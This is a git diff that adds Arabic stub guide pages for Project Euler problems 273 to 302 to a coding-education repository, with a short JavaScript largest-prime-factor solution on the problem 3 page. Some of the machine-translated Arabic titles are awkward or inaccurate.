diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md
new file mode 100644
index 0000000000..bfde306838
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of Squares
+localeTitle: مجموع المربعات
+---
+## المشكلة 273: مجموع المربعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-273-sum-of-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md
new file mode 100644
index 0000000000..de4639c64f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md
@@ -0,0 +1,9 @@
+---
+title: Divisibility Multipliers
+localeTitle: القسمة Multipliers
+---
+## المشكلة 274: مضاعفات القسمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-274-divisibility-multipliers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md
new file mode 100644
index 0000000000..e788928b69
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced Sculptures
+localeTitle: التماثيل المتوازنة
+---
+## المشكلة 275: المنحوتات المتوازنة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-275-balanced-sculptures/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md
new file mode 100644
index 0000000000..9732823e3b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Primitive Triangles
+localeTitle: المثلثات البدائية
+---
+## المشكلة 276: المثلثات البدائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-276-primitive-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md
new file mode 100644
index 0000000000..884e0d8336
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: A Modified Collatz sequence
+localeTitle: تعديل متسلسل Collatz
+---
+## المشكلة 277: تسلسل Collatz معدَّل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-277-a-modified-collatz-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md
new file mode 100644
index 0000000000..626a410382
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md
@@ -0,0 +1,9 @@
+---
+title: Linear Combinations of Semiprimes
+localeTitle: تركيبات خطية من Semiprimes
+---
+## مشكلة 278: تركيبات خطية من Semiprimes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-278-linear-combinations-of-semiprimes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md
new file mode 100644
index 0000000000..e5f73a392c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles with integral sides and an integral angle
+localeTitle: مثلثات ذات جوانب متكاملة وزاوية متكاملة
+---
+## المشكلة 279: مثلثات ذات جوانب متكاملة وزاوية متكاملة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-279-triangles-with-integral-sides-and-an-integral-angle/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md
new file mode 100644
index 0000000000..a8b091f9a3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md
@@ -0,0 +1,9 @@
+---
+title: Number spiral diagonals
+localeTitle: عدد الأقطار الحلزونية
+---
+## المشكلة 28: عدد الأقطار الحلزونية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-28-number-spiral-diagonals/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md
new file mode 100644
index 0000000000..d6f46bca06
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md
@@ -0,0 +1,9 @@
+---
+title: Ant and seeds
+localeTitle: النمل والبذور
+---
+## المشكلة 280: النمل والبذور
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-280-ant-and-seeds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md
new file mode 100644
index 0000000000..ef758b49c0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md
@@ -0,0 +1,9 @@
+---
+title: Pizza Toppings
+localeTitle: إضافات البيتزا
+---
+## المشكلة 281: بيتزا Toppings
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-281-pizza-toppings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md
new file mode 100644
index 0000000000..e97f7b9e96
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md
@@ -0,0 +1,9 @@
+---
+title: The Ackermann function
+localeTitle: وظيفة أكرمان
+---
+## المشكلة 282: وظيفة Ackermann
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-282-the-ackermann-function/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md
new file mode 100644
index 0000000000..79874f2e99
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer sided triangles for which the  area/perimeter ratio is integral
+localeTitle: المثلثات الصحيحة من جانب والتي تكون نسبة المنطقة / المحيط جزءًا لا يتجزأ منها
+---
+## المشكلة 283: المثلثات الصحيحة من جانب والتي تكون نسبة المنطقة / المحيط جزءًا لا يتجزأ منها
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-283-integer-sided-triangles-for-which-the--areaperimeter-ratio-is-integral/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md
new file mode 100644
index 0000000000..15b4cbde75
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Steady Squares
+localeTitle: الساحات المطرد
+---
+## المشكلة 284: مربعات ثابتة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-284-steady-squares/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md
new file mode 100644
index 0000000000..f5922f4640
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean odds
+localeTitle: احتمالات فيثاغورس
+---
+## المشكلة 285: احتمالات فيثاغوران
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-285-pythagorean-odds/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md
new file mode 100644
index 0000000000..8567a26014
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md
@@ -0,0 +1,9 @@
+---
+title: Scoring probabilities
+localeTitle: احتمالات التهديف
+---
+## المشكلة 286: احتمالات التسجيل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-286-scoring-probabilities/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md
new file mode 100644
index 0000000000..cd92fdaad0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Quadtree encoding (a simple compression algorithm)
+localeTitle: ترميز Quadtree (خوارزمية ضغط بسيطة)
+---
+## المشكلة 287: ترميز Quadtree (خوارزمية ضغط بسيطة)
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-287-quadtree-encoding-a-simple-compression-algorithm/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md
new file mode 100644
index 0000000000..25175eb143
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md
@@ -0,0 +1,9 @@
+---
+title: An enormous factorial
+localeTitle: عامل هائل
+---
+## المشكلة 288: عامل هائل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-288-an-enormous-factorial/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md
new file mode 100644
index 0000000000..63eeae7588
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md
@@ -0,0 +1,9 @@
+---
+title: Eulerian Cycles
+localeTitle: دورات اويلريان
+---
+## المشكلة 289: دورات Eulerian
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-289-eulerian-cycles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md
new file mode 100644
index 0000000000..16fc32068d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Distinct powers
+localeTitle: سلطات متميزة
+---
+## المشكلة 29: صلاحيات متميزة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-29-distinct-powers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md
new file mode 100644
index 0000000000..54a073935c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md
@@ -0,0 +1,9 @@
+---
+title: Digital Signature
+localeTitle: توقيع إلكتروني
+---
+## المشكلة 290: التوقيع الرقمي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-290-digital-signature/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md
new file mode 100644
index 0000000000..3f9b04a7b0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md
@@ -0,0 +1,9 @@
+---
+title: Panaitopol Primes
+localeTitle: Panaitopol Primes
+---
+## المشكلة 291: Panaitopol Primes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-291-panaitopol-primes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md
new file mode 100644
index 0000000000..9184c0881b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md
@@ -0,0 +1,9 @@
+---
+title: Pythagorean Polygons
+localeTitle: فيثاغورس المضلعات
+---
+## المشكلة 292: مضلعات فيثاغورس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-292-pythagorean-polygons/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md
new file mode 100644
index 0000000000..9f843e4778
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Pseudo-Fortunate Numbers
+localeTitle: أرقام Pseudo-Fortunate
+---
+## المشكلة 293: أرقام Pseudo-Fortunate
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-293-pseudo-fortunate-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md
new file mode 100644
index 0000000000..efeafb8ad0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md
@@ -0,0 +1,9 @@
+---
+title: Sum of digits - experience #23
+localeTitle: مجموع الأرقام - تجربة رقم 23
+---
+## المشكلة 294: مجموع الأرقام - تجربة # 23
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-294-sum-of-digits---experience-23/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md
new file mode 100644
index 0000000000..51253d1029
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md
@@ -0,0 +1,9 @@
+---
+title: Lenticular holes
+localeTitle: ثقوب عدسية
+---
+## المشكلة 295: الثقوب العدسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-295-lenticular-holes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md
new file mode 100644
index 0000000000..67cdf18637
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md
@@ -0,0 +1,9 @@
+---
+title: Angular Bisector and Tangent
+localeTitle: الزاوي Bisector و Tangent
+---
+## المشكلة 296: متشعب الزاوية و Tangent
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-296-angular-bisector-and-tangent/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md
new file mode 100644
index 0000000000..00bae501bc
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md
@@ -0,0 +1,9 @@
+---
+title: Zeckendorf Representation
+localeTitle: حدد تمثيل القرية
+---
+## المشكلة 297: تمثيل زيكيندورف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-297-zeckendorf-representation/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md
new file mode 100644
index 0000000000..9d78108aa9
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md
@@ -0,0 +1,9 @@
+---
+title: Selective Amnesia
+localeTitle: فقدان الذاكرة الانتقائي
+---
+## المشكلة 298: فقدان الذاكرة الانتقائي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-298-selective-amnesia/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md
new file mode 100644
index 0000000000..7995e30f71
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Three similar triangles
+localeTitle: ثلاثة مثلثات متشابهة
+---
+## مشكلة 299: ثلاثة مثلثات مماثلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-299-three-similar-triangles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md
new file mode 100644
index 0000000000..62ee02ce8d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-3-largest-prime-factor/index.md
@@ -0,0 +1,32 @@
+---
+title: Largest prime factor
+localeTitle: أكبر عامل رئيسي
+---
+## المشكلة 3: أكبر عامل رئيسي
+
+### طريقة:
+
+*   للعثور على أكبر عامل رئيسي لرقم ، نبدأ من أصغر عامل رئيسي 2 ونقسم العدد معه.
+*   إذا كانت البقية تساوي 0 ، فهذا يعني أن الرقم قابل للقسمة على هذا الرقم الأساسي ، فنحن نحتفظ بالعدد حسب نفس العدد الأولي حتى يصبح هذا الرقم غير قابل للقسمة على هذا الرقم الأولي.
+*   بعد ذلك ، نثني على العامل الأول بنسبة 1 ونكرر هذه العملية حتى يصبح الرقم 1.
+
+### حل:
+
+ `function largestPrimeFactor(number) { 
+  let prime = 2, max = 1; 
+  while (prime <= number){ 
+    if (number % prime == 0) { 
+      max = prime; 
+      number = number/prime; 
+    } 
+    else prime++; //Only increment the prime number if the number isn't divisible by it 
+  } 
+  return max; 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Problem-3-Largest-prime-factor)
+
+### مصادر:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Prime_number)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md
new file mode 100644
index 0000000000..eeb1019d1f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md
@@ -0,0 +1,9 @@
+---
+title: Digit n powers
+localeTitle: أرقام السلطة ن
+---
+## المشكلة 30: أرقام ص n
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-30-digit-n-powers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md
new file mode 100644
index 0000000000..1e1245e109
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md
@@ -0,0 +1,9 @@
+---
+title: Protein folding
+localeTitle: البروتين للطي
+---
+## المشكلة 300: طي البروتين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-300-protein-folding/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md
new file mode 100644
index 0000000000..47ed3c97e7
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md
@@ -0,0 +1,9 @@
+---
+title: Nim
+localeTitle: هذا
+---
+## مشكلة 301: نيم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-301-nim/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-302-strong-achilles-numbers/index.md
new file mode 100644
index 0000000000..185130d3aa
--- /dev/null
